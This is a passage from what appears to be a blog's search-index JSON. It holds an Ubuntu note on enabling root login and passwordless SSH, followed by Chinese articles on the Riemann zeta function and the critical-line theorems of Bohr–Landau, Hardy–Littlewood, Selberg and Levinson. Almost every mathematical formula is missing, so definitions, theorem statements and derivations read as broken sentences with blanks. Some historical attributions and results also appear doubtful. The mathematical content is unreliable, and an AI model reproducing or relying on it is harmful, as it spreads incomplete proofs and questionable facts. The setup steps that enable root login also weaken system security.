n || true，先注释掉，增加 tty -s && mesg n || true 这行修改 /etc/pam.d/ 目录下文件运行 cd /etc/pam.d/，里面有两个要修改的文件，即 gdm-autologin 和 gdm-password运行 vim gdm-autologin，注释掉下面一行运行 vim gdm-password，注释掉下面一行重启系统或者虚拟机输入用户名 root，然后输入设置的 root 密码，使完成用 root 登录 更换国内源 更换国内源 备份 /etc/apt/sources.listsudo cp /etc/apt/sources.list /etc/apt/sources.list.bak修改 Ubuntu 的源列表修改 /etc/apt/sources.list 文件下的列表清华大学开源软件镜像站更新 aptsudo apt-get update 安装 SSH、配置 SSH 无密码登陆 配置 SSH 集群、单节点模式都需要用到 SSH 登陆（类似于远程登陆，你可以登录某台 Linux 主机，并且在上面运行命令），Ubuntu 默认已安装了 SSH client，此外还需要安装 SSH server：sudo apt-get install openssh-server安装后，可以使用如下命令登陆本机：ssh localhost利用 ssh-keygen 生成密钥，并将密钥加入到授权中：cd ~/.ssh/ssh-keygen -t rsa # 会有提示，都按回车就可以cat ./id_rsa.pub >> ./authorized_keys # 加入授权如果没有问题可能是 ssh-server 的配置文件设置了拒绝以 root 用户登录的模式：nano /etc/ssh/sshd_configPermitRootLogin yes重启 ssh-serversudo /etc/init.d/ssh restart"},{"title":"","date":"2022-05-10T06:48:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Ubuntu/index.html","permalink":"https://blog.mhuig.top/notes/Ubuntu/","excerpt":"Ubuntu","text":"Ubuntu Ubuntu .prev-next{ display: none !important; }"},{"title":"","date":"2025-09-14T03:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/1.html","permalink":"https://blog.mhuig.top/notes/Zeta/1","excerpt":"","text":"Leibniz 莱布尼茨的手稿 汉诺威莱布尼茨文献馆存放了德国数学家戈特弗里德・威廉・莱布尼茨的手稿，其中包含了发明微积分符号 (Leibniz-13) 和发明二进制 (Leibniz-24) 的部分。 Leibniz-1 Leibniz-1 Leibniz-2 Leibniz-2 Leibniz-3 Leibniz-3 Leibniz-4 Leibniz-4 Leibniz-5 Leibniz-5 Leibniz-6 Leibniz-6 Leibniz-7 Leibniz-7 Leibniz-8 Leibniz-8 Leibniz-9 Leibniz-9 Leibniz-10 Leibniz-10 Leibniz-11 Leibniz-11 Leibniz-12 Leibniz-12 Leibniz-13 Leibniz-13 Leibniz-14 Leibniz-14 Leibniz-15 Leibniz-15 Leibniz-16 Leibniz-16 Leibniz-17 Leibniz-17 Leibniz-18 Leibniz-18 Leibniz-19 Leibniz-19 Leibniz-20 Leibniz-20 Leibniz-21 Leibniz-21 Leibniz-22 Leibniz-22 Leibniz-23 Leibniz-23 Leibniz-24 Leibniz-24 Leibniz-25 Leibniz-25 Leibniz-26 Leibniz-26 Leibniz-27 Leibniz-27 Leibniz-28 Leibniz-28 Leibniz-29 Leibniz-29"},{"title":"","date":"2025-09-15T02:28:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/10.html","permalink":"https://blog.mhuig.top/notes/Zeta/10","excerpt":"","text":"埃拉托斯特尼筛法 埃拉托斯特尼筛法 The Greek mathematician Eratosthenes proposed a simple algorithm for identifying prime numbers. To obtain all prime numbers less than or equal to a natural number , one must eliminate all multiples of prime numbers not greater than , and the remaining numbers will be prime. 希腊数学家埃拉托斯特尼所提出一种简单检定素数的算法。要得到自然数 以内的全部素数，必须把不大于 的所有素数的倍数剔除，剩下的就是素数。 Next, I will manually demonstrate how to obtain all the prime numbers within a certain range. 下面我将手动演示如何获得某个区间的所有素数。 Write integers of about . 写出大约 的整数。 Leaving unchanged, remove all the numbers in the number table that are multiples of to get: 保持 不变，删掉所有 的倍数，得到： The first number after is . Keep and unchanged, and remove all the numbers in the number table that are multiples of to get: 之后的第一个数字是 ，保持 和 不变，删掉所有 的倍数，得到： The first unaffected number after is . Leaving , , and unchanged, and discarding all multiples of in the number table, we get: 之后的第一个不受影响的数字是 ，保持 , , 不变，删掉所有 的倍数，得到： The first number not affected is . The next step is to leave , , , unchanged, and eliminate all the numbers in the table that are multiples of . 之后的第一个不受影响的数字是 ，保持 , , , 不变，删掉所有 的倍数。 ………… The last remaining numbers are prime numbers. 最后剩下的数字是素数。 This is the Sieve of Eratosthenes. 这是埃拉托斯特尼筛法。"},{"title":"","date":"2025-12-29T12:37:00.000Z","updated":"2025-12-29T12:50:00.000Z","comments":true,"path":"notes/Zeta/100.html","permalink":"https://blog.mhuig.top/notes/Zeta/100","excerpt":"","text":"黎曼 Zeta 函数临界线幅角函数 黎曼 Zeta 函数临界线幅角函数 f (t) = arg (zeta (1 / 2 + it)) 的解析理论 历史背景与数学意义1859 年，黎曼在其开创性论文《论小于给定数值的素数个数》中首次引入 函数的幅角概念，指出 函数零点分布与素数定理误差项的深刻关联。这一函数将复分析、数论与拓扑学紧密结合，成为现代数学的核心研究对象之一。1900 年，希尔伯特将黎曼猜想列为 23 个世纪难题中的第 8 题时特别强调，幅角函数的振荡模式可能蕴含破解零点分布之谜的关键线索。 当代研究表明， 的几何性质直接反映临界线 上 函数的零点分布。当 穿过整数倍 时，对应的 值即为 函数的零点虚部。这种对应关系使得幅角函数成为数值验证黎曼猜想的重要工具。截至 2025 年，计算机已通过追踪 的零点穿越行为，验证了超过 个临界线零点。 严格定义与解析延拓基本定义与单值化对 ，幅角函数 的严格定义需要克服复平面上幅角多值性的困难。通过固定分支割线并采用连续延拓方法，我们定义： 设 ，对 ，从 出发沿实轴向左延拓至 ，规定初始幅角 。对于 ，利用 函数的对称性 ，定义 。这一构造确保 是实轴上的光滑奇函数。 与 函数的关系黎曼 函数 为整函数且满足 。在临界线上， 取实值，故其幅角只能为 或 的整数倍。由此建立关键关系： 当 时， 这一表达式将 函数的幅角转化为可显式计算的 函数幅角与多项式幅角之和，为数值计算提供理论基础。 解析性质与关键恒等式幅角原理与零点计数根据辐角原理，矩形围道上的幅角变化量等于围道内零点个数的 倍。对临界线 ，定义围道 ：顶点为 ，则： 其中 表示 内临界线零点个数。这一公式由黎曼本人提出，现代改进表明误差项可控制为 。通过数值计算 ，可精确统计零点分布，这构成了验证程序的核心算法。 函数方程与对称性利用 函数的对称性 ，可推出幅角函数的重要恒等式： 这一分解将 表达为 函数幅角（可由 Stirling 公式近似）与线性项之和，揭示了其渐近行为的本质。特别地，Stirling 公式给出： 代入可得 ，这一渐近式由黎曼首先猜测，后经 Hardy 于 1914 年严格证明。 多种推导方法与计算策略方法一：围道积分法考虑从 到 的积分路径 （实轴到临界线的直角路径），则： 分离实部虚部后得： 这一积分表示是数值计算的基础。 方法二：傅里叶分析方法利用 函数的积分表示 （其中 为权重函数），通过傅里叶变换可得： 这一表达式将幅角函数表为两个积分之和，其中主值积分（PV）反映了零点的贡献。1921 年，Hardy 与 Littlewood 利用此式证明 有无穷多个零点，为临界线有无穷多零点提供了第一个严格证明。 方法三：差分方程方法对相邻零点 ， 满足 。结合渐近式 ，可导出零点密度估计： 这一结果由黎曼猜测，1895 年由曼戈尔特严格证明，成为素数定理证明的关键步骤。现代改进表明，误差项可控制为 ，这与指数和方法得到的 密切相关。 数值计算与应用算法实现通过追踪 的符号变化定位零点。核心步骤包括： 初始搜索：在区间 计算 采样值，当 时启动二分法 精度提升：使用牛顿迭代法 精化零点位置 统计分析： 记录零点间距 ，检验是否符合 GUE 随机矩阵理论预测 物理意义与前沿研究近年来，理论物理学家发现 的起伏模式与量子混沌系统的能级分布有惊人相似性。具体而言，零点间距的傅里叶变换与 的自相关函数满足某种普适关系，这为黎曼猜想的物理解释提供了新视角。2025 年最新研究表明， 的极大值分布服从 Gumbel 统计，这一发现可能为解析证明提供新的几何途径。 未解问题与研究展望尽管 的研究已取得丰硕成果，但核心挑战依然存在： Lindelöf 猜想：若 ，则 ，这一关系至今未被证明 幅角单调性：在 后， 是否单调递增？数值证据支持这一猜测，但严格证明仍缺失 量子对应： 与量子系统能级密度的精确对应关系尚未建立数学严格框架 这些问题的解决将深刻影响数论、复分析乃至理论物理的发展。正如黎曼在 160 多年前预见的那样，幅角函数 依然是连接数学各分支的神秘纽带，等待着人类智慧的进一步探索。"},{"title":"","date":"2025-12-29T22:49:00.000Z","updated":"2025-12-29T22:50:00.000Z","comments":true,"path":"notes/Zeta/101.html","permalink":"https://blog.mhuig.top/notes/Zeta/101","excerpt":"","text":"玻尔 - 兰道定理 玻尔 - 兰道定理：黎曼 Zeta 函数零点分布的里程碑 历史背景与数学语境1859 年，黎曼在其开创性论文中提出了关于 函数零点分布的著名猜想，断言所有非平凡零点都位于复平面上实部为 的临界线 上。这一猜想随后成为解析数论的核心问题，但在黎曼提出后的半个多世纪里，数学家们仅取得有限进展：1896 年阿达马与普森证明了所有非平凡零点都位于临界带 内，却未能进一步缩小范围。直到 1914 年，丹麦数学家哈罗德・玻尔（量子物理学家尼尔斯・玻尔的弟弟）与德国数学家埃德蒙・兰道合作，发表了关于零点分布的突破性结果 玻尔 兰道定理，首次揭示了临界线在零点分布中的特殊地位。这一成果与同年哈代证明无穷多零点位于临界线的工作，共同构成了 20 世纪初逼近黎曼猜想的两大里程碑。 玻尔 - 兰道定理的诞生离不开当时复分析与数论的交融发展。1899 年延森公式建立了亚纯函数模与零点分布的联系，而 1909 年兰道关于素数定理误差项的研究为 函数估计提供了技术基础。玻尔本人对 函数的平均值理论尤为关注，这为定理证明中关键的模平方估计奠定了基础。值得注意的是，这一时期数学界对零点分布的认知正经历从定性到定量的转变，玻尔 - 兰道定理通过严格的比例估计，将零点聚集于临界线的直观猜想转化为精确的数学表述。 基本概念与定理表述黎曼 函数与非平凡零点黎曼 函数定义为复平面上的亚纯函数，其解析延拓后满足函数方程 ，揭示了零点关于临界线 的对称性。所有非平凡零点 均满足 ，且关于实轴和临界线对称分布，因此仅需研究 且 的零点即可。记 为虚部 的非平凡零点总数，其渐近公式为 （黎曼 - 冯・曼戈尔特公式），表明零点密度随虚部增长而对数增加。 定理的严格表述玻尔 - 兰道定理的核心结论可表述为：对于任意 ，位于区域 内的非平凡零点在全部非平凡零点中所占比例当 时趋于零。更精确地，设 表示 且 的非平凡零点数目，则对任意固定 ，有 这一表述等价于：包含临界线的任意窄带状区域 都包含了几乎所有非平凡零点，从而确立了临界线作为零点汇聚中心的地位。需特别注意，定理并未断言临界线上存在任何零点，而仅表明零点分布的极限集中趋势。 证明框架与关键技术预备引理：模平方平均值的有界性定理证明的核心在于建立 模平方在垂直直线上的平均值估计。玻尔与兰道发现，若能证明 在 上的平均值有界，则可通过延森公式将模行为与零点分布关联。对 的情形，利用欧拉乘积展开可直接计算： 对 在 上积分并取平均，非对角项（ ）因振荡相互抵消，仅剩 项贡献 ，故平均值收敛于 ，对 均有界。这一结果通过解析延拓可推广至 的所有情形，构成定理证明的关键前提。 核心推导：从积分估计到零点比例设 为固定实数，考虑 区间上 的积分 。利用 关于 的非增性（零点随 减小而增多），对任意 ，有 选择 （即 为 与 的中点），则 ，代入上式得 根据延森公式与 的函数方程，可证明右侧积分渐近于 ，而 ，故 取 即得定理结论。这一推导的精妙之处在于将垂直直线上的模估计转化为水平积分估计，再通过单调性将整体积分界转化为局部零点数的上界。 对称性的应用证明中充分利用了 函数零点的对称性：若 为零点，则 亦是零点，这表明零点关于临界线 对称。因此仅需考虑 的零点，而定理结论自然蕴含 的零点比例同样趋于零，从而完整确立了临界线两侧的零点稀疏性。 数学意义与后续影响玻尔 - 兰道定理标志着零点分布研究从定性到定量的跨越。尽管未能证明任何零点位于临界线，但它首次用严格数学语言表明临界线是零点分布的极限中心，为后续研究指明了方向。1921 年哈代与李特伍德将定理推广至更精细的零点密度估计，1942 年塞尔伯格证明临界线上零点比例大于零，1974 年莱文森进一步将此比例下界提升至百分之三十四，这些进展均延续了玻尔 兰道开创的平均值方法。 定理的技术贡献同样深远。玻尔发展的 函数平均值理论成为解析数论的基本工具，而兰道提出的一致有界条件为后续函数论研究提供了范本。现代数论中，对零点区域的改进（如 Vinogradov Korobov 方法）仍遵循先建立平均估计，再推导分布结论的思路，这一范式的源头正是玻尔 - 兰道定理。 适用范围与局限性玻尔 - 兰道定理的核心局限在于其比例趋于零的渐近表述，无法排除存在无穷多零点偏离临界线的可能性。例如，可构造零点列 ，满足定理条件但无一位于临界线。这一现象揭示了黎曼猜想的深刻性：即使几乎所有零点都趋近临界线，仍需证明不存在任何例外。 此外，定理对 的一致性未作断言。1975 年蒙哥马利发现零点对关联函数的猜想表明，零点在临界线上的分布可能具有更精细的规律，这已超出玻尔 - 兰道定理的表述范畴。尽管如此，作为首个量化揭示零点聚集趋势的定理，玻尔 - 兰道定理至今仍是理解 函数零点分布的基本文献，其思想深度与技术优美性在百年后的今天仍熠熠生辉。 结语：未竟的征程玻尔 兰道定理犹如数学史上的一座里程碑，它在黎曼猜想与素数分布之间架起桥梁，同时也揭示了复分析与数论交融的无穷魅力。当我们回顾哈罗德・玻尔从足球奥运亚军到数学大师的传奇人生，以及兰道在纳粹迫害下坚持数学研究的不屈精神，或许能更深刻理解：伟大的数学定理不仅是逻辑的结晶，更是人类智慧跨越障碍、探索真理的永恒见证。在黎曼猜想尚未解决的今天，玻尔 - 兰道定理留下的不仅是结论本身，更是一种将复杂问题分解为可解模块的研究范式，这种范式，或许正是人类终有一天攻克这一世纪难题的关键所在。"},{"title":"","date":"2025-12-29T23:09:00.000Z","updated":"2025-12-29T23:10:00.000Z","comments":true,"path":"notes/Zeta/102.html","permalink":"https://blog.mhuig.top/notes/Zeta/102","excerpt":"","text":"哈代 - 利特尔伍德临界线定理 哈代 - 利特尔伍德临界线定理 在解析数论的历史长河中，黎曼 函数的零点分布问题犹如一座巍峨的高峰，吸引着无数数学家为之攀登。1859 年，黎曼在其开创性论文中提出了著名的黎曼猜想，断言 函数的所有非平凡零点都位于复平面上实部为 的临界线上。这一猜想至今悬而未决，但 20 世纪初哈代（G.H. Hardy）与利特尔伍德（J.E. Littlewood）的工作为探索这一问题开辟了新的道路。1914 年，哈代首次证明了临界线上存在无穷多个非平凡零点，而 1921 年两人合作将这一结果改进为临界线定理：存在常数 ，使得当 充分大时，区间 内临界线上的零点个数 满足 这一结果不仅量化了临界线零点的密度，更为后续研究奠定了方法论基础。 历史背景与问题提出黎曼 函数 定义为 （当 时），通过解析延拓可扩展至整个复平面（除 处的单极点）。其非平凡零点均位于临界带 内，且关于临界线 对称。设 表示虚部在 内的非平凡零点总数，黎曼 - 冯・曼戈尔特公式给出 （当 时）。而哈代 - 利特尔伍德定理关注的 是 中满足 的部分，其目标是证明 与 具有相同的增长阶。 1914 年哈代的初始证明仅确立了 ，其核心思想是通过分析 的符号变化，作为实值偶函数， 的零点对应临界线上的非平凡零点，若能证明其有无穷多次符号变化，则等价于存在无穷多个临界线零点。哈代通过构造辅助函数 ，并分析其高阶导数在 时的渐近行为，利用反证法证明了 不可能仅有有限次符号变化。 然而，哈代的结果未能给出 的增长速度。1921 年，哈代与利特尔伍德合作，引入多区间积分估计与测度论方法，将 的下界从 级提升至线性级 ，这一突破被视为解析数论中调和分析与复变方法结合的典范。 定理陈述与核心思想哈代 - 利特尔伍德临界线定理设 表示黎曼 函数在临界线 、虚部 内的非平凡零点个数，则存在常数 ，使得当 充分大时，有 该定理的证明依赖三个关键技术：零点探测原理，通过比较积分 与 的模长关系，将零点存在性转化为集合测度估计；调和分析工具，利用傅里叶变换与 范数估计控制积分误差项； 函数渐近性质，结合斯特林公式与狄利克雷多项式近似，建立 的均值估计。 以下将详细展开推导过程。 零点探测原理：从函数积分到测度估计积分模长比较与零点存在性哈代与利特尔伍德的核心创新在于同时分析多个区间上的积分行为。设 （引入衰减因子 以控制无穷远处的积分），定义 其中 为固定常数。显然 ，等号成立当且仅当 在 内符号恒定（即无零点）。因此，若 ，则 中必存在零点。 区间覆盖与零点计数考虑区间 ，将其划分为 个长度为 的相邻子区间 。设 为不含零点的子区间个数，则含零点的子区间个数至少为 。每个不含零点的子区间 满足 ，其中 为符号恒定区间的并集。 记 为 的勒贝格测度，则 ，从而 因此，问题转化为估计 的上界。 范数估计与测度控制为估计 ，利用柯西 - 施瓦茨不等式： 其中 。若能证明 且 有下界 ，则可解得 ，代入上式即得 ，从而完成定理证明。 关键推导：调和分析与 函数估计 的 范数估计利用傅里叶变换分析 。设 为 的傅里叶变换，则 由帕塞瓦尔定理， 通过拆分积分区间 与 ，并利用 ，可得 此即调和分析引理的核心结果。 的估计与 函数展开由 的定义及梅林变换性质，哈代曾证明 其中 为雅克比 函数的变体。取 （ 为小参数），可得 的表达式，并通过逐项估计证明 将 展开为二重级数 （令 ），分离对角项 与非对角项 ，分别记为 与 ：对角项 ： ，通过积分估计其对 的贡献为 ；非对角项 ：利用范德科波特引理（van der Corput lemma）估计指数和的积分，证明其贡献为 。 综合两项，取 ，可得 （需引入截断因子 控制误差项）。 的下界估计与 函数均值 。由斯特林公式，当 时， 结合 ，可得 因此， 。利用狄利克雷多项式近似 ，积分得 从而 ，即存在常数 使得 对 一致成立。 测度 的上界与定理证明结合 与 ，由柯西 - 施瓦茨不等式： 解得 。代入零点计数公式： 取 为固定大常数（如 ），则当 充分大时，右侧等价于 ，从而完成定理证明。 方法拓展与后续影响哈代 - 利特尔伍德的方法为临界线零点研究奠定了方法论基础，其核心思想，通过积分模长比较探测零点、利用调和分析控制测度、结合函数特殊结构估计均值，被后续数学家广泛借鉴：塞尔伯格（1942）将定理结果改进为 ，并首次证明临界线零点占非平凡零点的正比例；莱文森（1974）引入磨光函数（mollifier）技术，证明至少 的非平凡零点位于临界线上；康里（1989）优化莱文森方法，将比例提升至 ，目前最好结果为 （Bui-Vu-Zhang, 2011）。 此外，该定理的调和分析框架启发了零点密度估计的研究，即对 （虚部 、实部 的非平凡零点个数）的上界估计。例如，英厄姆（Ingham）利用类似方法证明 （ ），而零点密度猜想断言 ，这一猜想若成立将直接推出林德勒夫猜想（Lindelöf hypothesis）。 从数学思想看，哈代 - 利特尔伍德定理的突破在于将离散零点计数问题转化为连续测度估计问题，这一离散连续转化的思想贯穿了解析数论的发展。Hardy-Littlewood 的方法不仅是技术上的胜利，更开创了通过 范数与傅里叶分析研究零点分布的新范式。 结语：未竟的探索哈代 - 利特尔伍德临界线定理虽证明了线性比例的临界线零点存在，但距离黎曼猜想的完全解决仍有漫长道路。一个自然的问题是：临界线零点的比例能否提升至 ？这等价于黎曼猜想本身。尽管数值计算已验证前 个非平凡零点均位于临界线上，但解析证明仍遥不可及。 值得注意的是，2023 年 Gordon Chavez 从概率角度提出新见解：若存在非临界线零点，则 函数模长在零点附近的条件分布将不具备垂直统计结构，这与临界线上零点的对关联规律（pair correlation）矛盾，为黎曼猜想的正确性提供了新的启发式证据。然而，数学证明需要的不是启发式论证，而是冰冷的逻辑链条。哈代与利特尔伍德的工作，正是这种逻辑链条的典范，他们用严密的分析工具，在迷雾笼罩的黎曼猜想征途上，点亮了一盏通向临界线的明灯。"},{"title":"","date":"2025-12-30T01:09:00.000Z","updated":"2025-12-30T01:10:00.000Z","comments":true,"path":"notes/Zeta/103.html","permalink":"https://blog.mhuig.top/notes/Zeta/103","excerpt":"","text":"塞尔伯格临界线定理 塞尔伯格临界线定理：从定性突破到定量分析 背景与历史渊源1942 年，在二战的硝烟笼罩下，欧洲数学界陷入沉寂。奥斯陆大学的阿特勒・塞尔伯格（Atle Selberg）却在与世隔绝的环境中，对黎曼猜想发起了革命性突破。当时，哈代（G.H. Hardy）与李特尔伍德（J.E. Littlewood）已证明临界线上存在无穷多个零点，但这一结果在渐近意义下占比为零。塞尔伯格通过引入磨光函数（mollifier）技术，首次证明临界线上的零点占全体非平凡零点的比例严格大于零，这一成果被玻尔（Harald Bohr）誉为 \"战时欧洲唯一的数学新闻\"。 塞尔伯格的研究风格深受印度数学家拉马努金影响，他早年改进哈代 - 拉马努金公式时曾因孤立研究重复了拉德马赫（Hans Rademacher）的工作。这种近乎苦行僧式的专注，使他在战争期间完成了三项里程碑式成就：素数定理的初等证明、塞尔伯格筛法，以及本文聚焦的临界线定理。1950 年，这些贡献为他赢得菲尔兹奖，成为普林斯顿高等研究所继爱因斯坦之后的又一位核心学者。 核心定义与数学基础零点分布函数记 为 在矩形区域 内的非平凡零点总数，其渐近公式为 这表明 ，即零点总数随 增长呈线性对数级。记 为临界线 上虚部介于 到 之间的零点数目，塞尔伯格定理断言：存在常数 ，使得当 充分大时， 这意味着临界线上的零点具有正密度，彻底超越了哈代 - 李特尔伍德的无穷性结果。 关键工具：Littlewood 引理与磨光技术为研究零点分布，塞尔伯格发展了 Littlewood 引理的推广形式，该引理将矩形区域内的零点计数转化为边界积分： 其中 表示 的零点数目。通过引入 Dirichlet 多项式磨光函数 ，塞尔伯格将 与 卷积，有效抑制了 在临界线附近的剧烈波动，从而获得更精确的零点密度估计。 定理的两种证明路径路径一：Hardy-Littlewood 框架的改良塞尔伯格首先改进了哈代 - 李特尔伍德的变号原理。考虑辅助函数 ，其中 为精心构造的磨光函数。通过分析 的符号变化，可建立零点存在性与区间长度的关联。 关键步骤包括区间划分：将 分解为长度 的子区间 ；测度估计：定义 为使 的 集合，通过不等式推导得 ；零点计数：每个含 中点的 必含 的变号点，进而对应临界线零点，最终得到 这表明 与 同阶，即临界线零点密度为正。 路径二：零点密度定理的对偶应用塞尔伯格同时证明了突破性的零点密度估计：存在绝对常数 ，对 一致成立 该结果通过优化磨光函数系数 实现。采用待定系数法设 ，利用柯西 - 施瓦茨不等式极小化二次型 其中 为最大公约数。通过 Möbius 反演求得最优系数 ，最终导出 ，当 时，该估计远优于此前的线性上界。 技术细节与优化过程磨光函数的选择艺术塞尔伯格最初尝试过 Euler 乘积型磨光函数 仅能得到 的弱结果。最终他转向 Dirichlet 多项式，通过引入参数 满足 ，取 且 充分小时，成功将下界提升至 。这一过程中，塞尔伯格创造性地将解析数论与变分法结合，展示了磨光技术的强大威力，通过抵消 的不规则波动，揭示其内在的零点分布规律。 闵嗣鹤的定量改进1940 年代后期，中国数学家闵嗣鹤在牛津大学的博士论文中，追踪塞尔伯格证明中的常数项，首次给出具体数值估计 ，其中 。这一工作将定性结果转化为定量估计，为后续研究奠定了计算基础。尽管数值微小，但闵嗣鹤的方法证明塞尔伯格定理中的常数是可有效计算的，打破了存在性证明难以量化的传统认知。 后续发展与当代进展塞尔伯格的突破开启了临界线零点比例研究的新纪元。1974 年，莱文森（Norman Levinson）采用 与 零点关联的新方法，将比例下界提升至 ；1989 年康瑞（Brian Conrey）优化该方法至 ；2020 年 Pratt 等人进一步改进为 。这些进展均基于塞尔伯格开创的磨光技术，但在 mollifier 构造和积分估计上更为精细。 值得注意的是，塞尔伯格定理的思想已扩展到更广泛的 L 函数族。最新研究表明，对 Dirichlet L 函数的线性组合，其临界线零点比例下界为 ，其中 为组合项数。这显示塞尔伯格的方法具有深刻的普适性，成为解析数论中研究零点分布的标准工具。 结语：未竟的探索从塞尔伯格的 到今天的 ，一个半世纪的追寻让我们离黎曼猜想的完全证明仍有距离。临界线定理的核心意义不仅在于数值改进，更在于它揭示了 零点分布的结构性规律，临界线并非孤立的例外，而是零点聚集的主干道。数学探索就像在黑暗中前行，重要的不是走了多远，而是发现了新的方向。今天，他当年点亮的这盏明灯，依然指引着数学家们探索素数分布的终极奥秘。"},{"title":"","date":"2025-12-30T01:18:00.000Z","updated":"2025-12-30T01:20:00.000Z","comments":true,"path":"notes/Zeta/104.html","permalink":"https://blog.mhuig.top/notes/Zeta/104","excerpt":"","text":"莱文森临界线定理 莱文森临界线定理：从定性到定量的黎曼猜想突破 在黎曼猜想的百年探索中，莱文森临界线定理（Levinson's Critical Line Theorem）标志着一个里程碑式的转折，它首次将临界线上零点比例的下界从定性的大于零提升到定量的超过三分之一，为后续研究奠定了方法论基础。1974 年，美国数学家 Norman Levinson 在身患脑瘤的情况下，以 62 岁高龄发表了这项成果，其论文标题《黎曼 函数超过三分之一的零点位于 》直接揭示了结论的突破性。这一工作不仅将 Atle Selberg 在 1942 年建立的正比例定性结果推进到具体数值，更开创了通过 函数与其导数零点关联研究临界线问题的新路径。 历史背景与定理意义黎曼猜想自 1859 年提出后，数学家们历经半个多世纪才在临界线零点研究上取得实质性进展。1914 年，G. H. Hardy 证明了无穷多个零点位于临界线 ，但未给出比例估计。1942 年，Selberg 首次证明临界线上零点占全体非平凡零点的比例大于零，这一定性结果虽微弱却意义深远，打破了此前只能证明存在性的局限。然而，Selberg 的方法无法给出具体数值，据信其私下计算的比例仅为百分之五到百分之十。 Levinson 的突破源于对函数零点分布关联的深刻洞察。1934 年，Andreas Speiser 证明黎曼猜想等价于 在 无零点，这揭示了函数与其导数零点的内在联系。Levinson 与 Montgomery 于 1974 年将此结果定量化为： 在区域 内的零点数目与 在同一区域的零点数目渐近相等。这一发现使通过研究导数零点分布推断临界线零点比例成为可能，为定理证明提供了核心思想。 定理的严格表述为：存在常数 ，使得对所有 ，有 其中 表示 在矩形 内的非平凡零点总数， 为其中满足 的零点数目。这一结果将临界线零点比例的下界从 Selberg 的微小正数跃升至明确的三分之一，引发数学界震动。更令人动容的是，Levinson 在完成证明后仅一年便因脑瘤去世，其朝闻道，夕死可矣的治学精神成为数学史上的佳话。 数学预备与关键定义理解莱文森定理需要建立黎曼 函数及其相关函数的基本框架。 函数定义为 （ ），可解析延拓至全复平面，其非平凡零点均位于临界带 内。黎曼猜想断言这些零点全部位于临界线 。为简化分析，引入 函数： 该函数满足 且在全平面解析，其零点与 的非平凡零点完全重合。当 时， 为实值偶函数，故 的临界线零点对应 的实零点。 Levinson 方法的核心工具是磨光函数（mollifier），这是一种特殊构造的 Dirichlet 多项式，用于消除 函数在临界线附近的剧烈振荡，使矩估计成为可能。其一般形式为： 其中 为莫比乌斯函数， （ ）， 是满足 和 的实多项式， 为靠近临界线的参数。Levinson 最初选择 ，这一简化形式后来被 Conrey 推广为更一般的多项式以提高估计精度。 另一关键函数是 ，定义为 ，其中 为实多项式且 。Levinson 取 ，这一选择与磨光函数结合，形成研究 二阶矩的基础框架。通过分析积分 的渐近行为，可建立临界线零点比例的不等式： 其中 为临界线零点的极限下密度。这一不等式将积分估计直接转化为比例下界，是定理证明的枢纽。 定理证明的核心步骤莱文森定理的证明包含三个递进层次：积分平滑化、均值估计和零点密度转换，每个环节都体现了复分析与解析数论的深度融合。 1. 平滑化与积分估计直接处理 面临被积函数剧烈振荡的困难，Levinson 引入光滑权函数 克服这一障碍。该函数需满足： 紧支于 且 各阶导数满足 ，其中 通过 Fourier 变换，平滑化积分可表示为 ，其中 为常数， 是 的 Fourier 变换在原点的值。选择 为区间 特征函数的近似，可建立原积分的上下界估计，进而通过 dyadic 区间求和得到全积分的渐近式。 2. 均值定理与多项式优化证明的核心是计算一般均值积分 。利用 函数的近似函数方程和留数定理，可将其分解为主项与误差项之和： 其中 包含多项式 和 的信息。对 的定义式应用微分算子 ，可将 的积分转化为 的导数形式。特别地，当取 和 时，通过复杂的 contour 积分计算，得到主项系数 。 3. 零点比例的推导将上述结果代入临界线密度不等式，当 时，可得 ，即约百分之三十四的零点位于临界线。Levinson 在论文中通过更精细的参数优化，最终将比例严格控制在三分之一以上。这一过程中，多项式 和 的选取至关重要，Conrey 后来证明，选择更高阶多项式可进一步提高比例下界，这正是 1989 年他将结果改进至百分之四十的关键。 值得注意的是，Young 在 2010 年给出的简化证明中，通过引入双变量积分表示 ，使主项计算更为清晰。这一表达式揭示了多项式选择如何影响最终比例，为后续改进提供了明确方向。 方法创新与后续发展Levinson 方法的革命性在于将零点计数转化为函数矩估计，这一思想被后续研究者不断深化。其核心创新体现在三个方面： 导数零点关联：通过 Speiser 定理的定量版本，建立 与 零点分布的渐近关系，将临界线外零点数目与导数零点数目绑定。这一关联使研究者可通过分析导数性质间接推断原函数零点分布。 磨光函数技术：精心构造的 Dirichlet 多项式 成功抑制了 在临界线附近的高频振荡。Levinson 选择的 具有明确的数论意义，其系数包含莫比乌斯函数以利用 的解析性质。后续研究者通过扩展多项式 的阶数和引入高阶导数项，不断提升磨光效果。 双积分主项表示：Young 证明的主项公式揭示了多项式 与参数 如何通过积分影响比例下界，这一框架成为 Conrey（1989）、冯绍继（2011）等改进工作的基础。例如，Conrey 将 从 Levinson 的 0.5 调整为 4 / 7 减去 varepsilon，并优化多项式系数，使比例提升至百分之四十。 Levinson 的工作激发了持续的改进浪潮。1975 年他本人将比例小幅提升至百分之三十四点七四，同年去世前仍在完善计算。1980 年楼世拓、姚琦将结果推进至百分之三十五，1989 年 Conrey 通过扩展多项式类和精细误差分析，证明了至少百分之四十的零点位于临界线。2011 年冯绍继引入多参数磨光函数，将比例提高到百分之四十一点二八，而 2020 年 Pratt 等人通过处理 Kloosterman 和与扩展磨光函数长度，进一步提升至约百分之四十一点六七。 这些进展共同表明，Levinson 开创的方法具有持续改进空间，但其内在局限也逐渐显现，该框架难以突破百分之五十的阈值，因为其本质是通过控制临界线外零点数目来推导比例下界，而要达到百分之一百则需要全新的数学思想。正如 Conrey 所言：若能将比例推进至百分之五十以上，那将是革命性的，但现有方法的改进空间可能仅剩几个百分点。 定理影响与数学启示莱文森定理在黎曼猜想研究史上具有分水岭意义，其影响远超具体数值结果本身。从数学方法论看，该工作融合了复分析、Fourier 分析与数论，开创了解析工具包研究范式，通过磨光函数、均值估计、零点密度转换的组合，将定性问题转化为定量计算。这种范式不仅主导了临界线零点比例研究，还被应用于 Dirichlet L 函数、自守形式等相关问题。 在学科交叉层面，Levinson 的函数导数关联思想启发了量子力学与数论的意外联系。有趣的是，数学物理中也存在同名的 Levinson 定理，描述散射相移与束缚态数目的关系，两者虽对象不同，但都体现了全局性质由局部行为决定的深刻数学哲学。这种跨领域的思想共鸣，彰显了基础数学研究的普适价值。 